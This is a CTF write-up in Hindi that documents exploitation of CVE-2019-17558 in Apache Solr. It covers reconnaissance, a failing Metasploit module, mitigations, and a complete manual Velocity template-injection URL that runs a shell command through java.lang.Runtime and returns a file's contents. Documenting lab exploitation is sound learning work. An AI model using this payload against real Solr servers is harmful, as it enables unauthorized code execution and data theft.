
Apache Solr में CVE-2019-17558 शोषण का दस्तावेज़ीकरण करने वाला CTF राइट-अप, जिसमें रिकॉनिसांस, Metasploit की सीमाएँ, मैनुअल Velocity टेम्पलेट इंजेक्शन, फ़्लैग कैप्चर और निवारण शामिल हैं।
Apache Solr में Velocity Template Injection भेद्यता का व्यावहारिक शोषण, एक स्वचालित उपकरण (Metasploit) की विफलता से सफल मैन्युअल शोषण तक विकसित होना।
यह राइट-अप अभ्यास की संपूर्ण विचार प्रक्रिया का दस्तावेज़ीकरण करता है, जिसमें उपकरण की विफलता के निदान और मैन्युअल शोषण की ओर pivot पर ध्यान केंद्रित है।
| आइटम | विवरण |
|---|---|
| लक्ष्य | Linux सर्वर जो पोर्ट 8983 पर Apache Solr चला रहा है |
| उद्देश्य | एक संवेदनशील फ़ाइल की सामग्री पढ़ना (/home/favorite_book.txt) |
| भेद्यता | CVE-2019-17558 (Velocity Response Writer के माध्यम से RCE) |
प्रारंभिक चरण में लक्ष्य होस्ट पर सक्रिय सेवाओं की पहचान करना शामिल था।
nmap -sV -p- <TARGET_IP>
परिणाम:
novacollection।प्रशासनिक पैनल तक पहुँचने पर, यह पुष्टि हुई कि Solr का संस्करण Velocity Template Injection के प्रति संवेदनशील था।
यह दोष तब उत्पन्न होता है जब हमलावर params.resource.loader.enabled कॉन्फ़िगरेशन को true में बदलने में सफल हो जाता है, जिससे कस्टम Velocity टेम्पलेट्स का उपयोग संभव हो जाता है, और वहाँ से सर्वर पर मनमाना Java कोड निष्पादित किया जा सकता है।
प्रारंभ में exploit/multi/http/solr_velocity_rce मॉड्यूल का उपयोग किया गया।
एक्सप्लॉइट Solr की कॉन्फ़िगरेशन को सफलतापूर्वक बदलने में सफल रहा।
[+] params.resource.loader.enabled is true for core 'novacollection'
हालाँकि, पेलोड इंजेक्शन का अंतिम चरण Ruby निष्पादन त्रुटि के साथ विफल हो गया।
NoMethodError: undefined method 'body' for nil:NilClass
इसने संकेत दिया कि, यद्यपि वातावरण संवेदनशील था और पहले से तैयार था, उपकरण हमले को पूर्ण करने के लिए सर्वर की प्रतिक्रिया को संसाधित नहीं कर सका। लक्ष्य सुरक्षित नहीं था; केवल मॉड्यूल की डिलीवरी विधि को समायोजित करने की आवश्यकता थी।
Metasploit द्वारा Velocity Writer को पहले से सक्षम किए जाने के साथ, इंजेक्शन HTTP GET अनुरोध के माध्यम से मैन्युअल रूप से किया गया, जिससे स्क्रिप्ट की त्रुटि को दरकिनार कर दिया गया। Velocity टेम्पलेट को java.lang.Runtime इंस्टैंशिएट करने और लक्ष्य फ़ाइल को पढ़ने का कमांड निष्पादित करने के लिए बनाया गया था।
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
सर्वर पर वास्तव में निष्पादित कमांड:
cat /home/favorite_book.txt
इंजेक्शन सफल रहा और फ़ाइल की सामग्री सीधे HTTP प्रतिक्रिया के बॉडी में लौटाई गई, जो ब्राउज़र में रेंडर हुई, जिससे फ्लैग कैप्चर करना संभव हो गया।
NoMethodError त्रुटि का अर्थ सुरक्षित लक्ष्य नहीं था, बल्कि केवल यह था कि डिलीवरी विधि में समायोजन की आवश्यकता थी।params.resource.loader.enabled अक्षम बना रहे।wt=velocity पैरामीटर वाले select एंडपॉइंट के अनुरोधों की निगरानी करें।यह रिपॉजिटरी शैक्षिक उद्देश्यों और नियंत्रित वातावरण (CTF) में सीखने के दस्तावेज़ीकरण के लिए बनाई गई है। बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध इन तकनीकों का उपयोग न करें।